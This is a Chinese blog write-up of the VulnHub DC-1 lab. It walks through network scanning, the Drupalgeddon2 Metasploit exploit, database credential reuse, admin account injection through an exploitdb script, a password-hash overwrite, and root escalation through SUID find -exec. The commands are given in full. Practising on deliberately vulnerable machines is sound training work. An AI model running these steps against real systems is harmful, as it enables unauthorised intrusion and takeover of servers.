vulnhub-DC-1渗透测试

vulnhub-DC-1渗透测试,第1张

vulnhub-DC-1渗透测试 环境搭建

官网https://download.vulnhub.com/dc/DC-1.zip
将ova直接拖到vmware中,第一次还是失败重试后成功

刚开始遇到了点小问题,环境搭建好后利用kali nmap扫不到,并且启动靶机时一直报驱动的错。解决方法就是将桥接模式换成NAT模式(“桥接”和“NAT”方式区别),然后移除CD/DVD(IDE)

思路

首先nmap扫描ip地址及端口号,进入web页面发现一个7版本的Drupal,利用msf中已存的漏洞可以直接打进去并且发现flag1并且提示配置文件,通过配置文件找到flag2并获得一个数据库账号密码,在原有shell前提下利用python稳定一下bash,在数据库中搞一个账号密码在网页进行登陆后就能得到flag3并且提示需要用find提权,同时我们也可以在shadow中找到flag4,shadow中的确有flag4并且密码可以通过爆破搞出来,但这里通过find命令查找有特殊权限suid的命令,利用find命令提权后可在/home下直接拿到flag4,当然最后也在/root下拿到flag5。

题目描述

DC-1是一个专门构建的易受攻击的实验环境,目的是获得渗透测试的经验。

它的设计对初学者来说是一个挑战,但是它的难易程度取决于您的技能和知识以及学习能力。

要成功完成此挑战,您需要具备Linux技能,熟悉Linux命令行以及具有使用基本渗透测试工具(例如可在Kali Linux或Parrot
Security OS上找到的工具)的经验。

有多种获得root的方法,但是,其中包含了一些flag,这些flag包含了一些线索。

总共有五个flag,但是最终目标是在root的主目录中找到并读取该flag。您甚至不需要成为root用户即可执行此 *** 作,但是,您将需要root特权。

根据您的技能水平,您可能可以跳过查找这些标志中的大多数标志并直接寻找根。

初学者可能会遇到他们以前从未遇到过的挑战,但是Google搜索应该是获得完成此挑战所需信息所需要的全部。

渗透测试

kali的地址为192.168.22.128,用arp-scan扫同段其他主机

arp-scan option [rhost]
-f 从指定文件中读取主机名或地址
-l从网络接口配置生成地址
-i 各扫描之间的时间差 
-r 每个主机扫描次数
-t 设置主机超时时间 
-V显示程序版本并退出
-I使用网络接口 
-g不显示重复的数据
-D显示数据包往返时间

也可以用nmap扫

sudo nmap -sP 192.168.22.0/24

Nmap中文手册

知道地址为192.168.22.129,再用nmap扫端口

nmap -sV 192.168.64.0/24

得到三个端口80web页面,22ssh端口,111RPC端口,访问80端口的页面

发现是一个Drupal的站点,使用了Drupal框架(Drupal与WordPress,哪个是更好的CMS),这里直接msf上机,查找可以针对Drupal的模块

msfconsole
search Drupal
use exploit/unix/webapp/drupal_drupalgeddon2  //只有两个能用
show options
set  RHOSTS 192.168.22.129
run



得到一个会话后,利用会话再得到shell

flag1
cat flag1.txt
Every good CMS needs a config file - and so do you.
每一个好的CMS都需要一个配置文件-你也是。

drupal配置文件的位置是在sites/default/files

cd sites/default/
cat settings.php
flag2

Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials?

暴力破解和字典攻击不是获得访问权限的唯一方法(您将需要访问权限)。你可以用这些凭据做什么?

既然获得数据库的账号密码那就登录上继续找,不过这里需要先用python转换成标准的shell,否则进入mysql之后shell就没有反应

python -c 'import pty; pty.spawn("/bin/bash")'

这里转换标准shell是起初用的python ‐c "import pty;pty.spawn('/bin/bash')",但是报错显示python: can't open file '‐c': [Errno 2] No such file or directory

mysql -u dbuser -p R0ck3t
show databases;
use drupaldb;
show tables;
select * from users;
select name,pass from users;


这里的pass是经过drupal加密,所以到这一步想要搞到可以登陆的账号密码有两种方法

利用msf中攻击脚本

参考Vulnhub靶场DC-1 WP

searchsploit Drupal 7
python /usr/share/exploitdb/exploits/php/webapps/34992.py -u test -p test -t http://192.168.22.129

查数据发现已经添加成功

利用drupal脚本生成加密密码进行替换

利用根目录中的scripts对test(自己想要设置的密码)进行加密,然后修改admin的密码为加密后的test,这里只能在这个目录下,不然会报路径的错

cd /var/www
./scripts/password-hash.sh test  
hash: $S$DVVPB4mtGz78GkvETWehVbaWAt07NaMiP2zxQKY9zN4SVTw85jtL

update users set pass='$S$DVVPB4mtGz78GkvETWehVbaWAt07NaMiP2zxQKY9zN4SVTw85jtL'
where name='admin';
flag3

在web页面进行登录,在仪表盘里发现flag3

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
特殊的PERMS 将帮助查找密码——但您需要-exec 该命令来确定如何获取shadow中的内容。

我们使用find找下具有root权限的suid(【安全科普】Linux提权——利用可执行文件SUID )

 ‐perm 按照文件权限来查找文件
 ‐u=w 基于用户可写查找  //s就是root用户的意思
 ‐type f 查找普通类型文件
find / -perm -u=s -type f 2>/dev/null

可以看到find是可以用来提权的,我们尝试用find执行命令,这里需要注意‐name参数填写的文件名,是需要系统真实存在的(我们知道存在flag4,所以直接用)

find / -name flag4 -exec "/bin/sh" ;

flag4


参考Vulnhub靶机实战——DC-1这里使用hydra+John密码包对flag4的密码进行爆破,爆破密码为:flag4/orange,拿到账号密码后可以连接ssh登陆系统,但这里已经拿到了root权限,可以直接进/home中找到flag4

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy.  Or maybe it is?

你能用同样的方法来查找或访问根目录中的标志吗?
可能。但也许不是那么容易。或许是这样?
flag5

前面通过find拿到root权限,这里同样直接到/root目录下get flag

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7


做得好!!!!!

希望你喜欢这个并学到了一些新的技能。

你可以让我知道你对这次小旅行的看法。

通过Twitter联系我-@dcau7

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5571852.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-14
下一篇 2022-12-14

发表评论

登录后才能评论

评论列表(0条)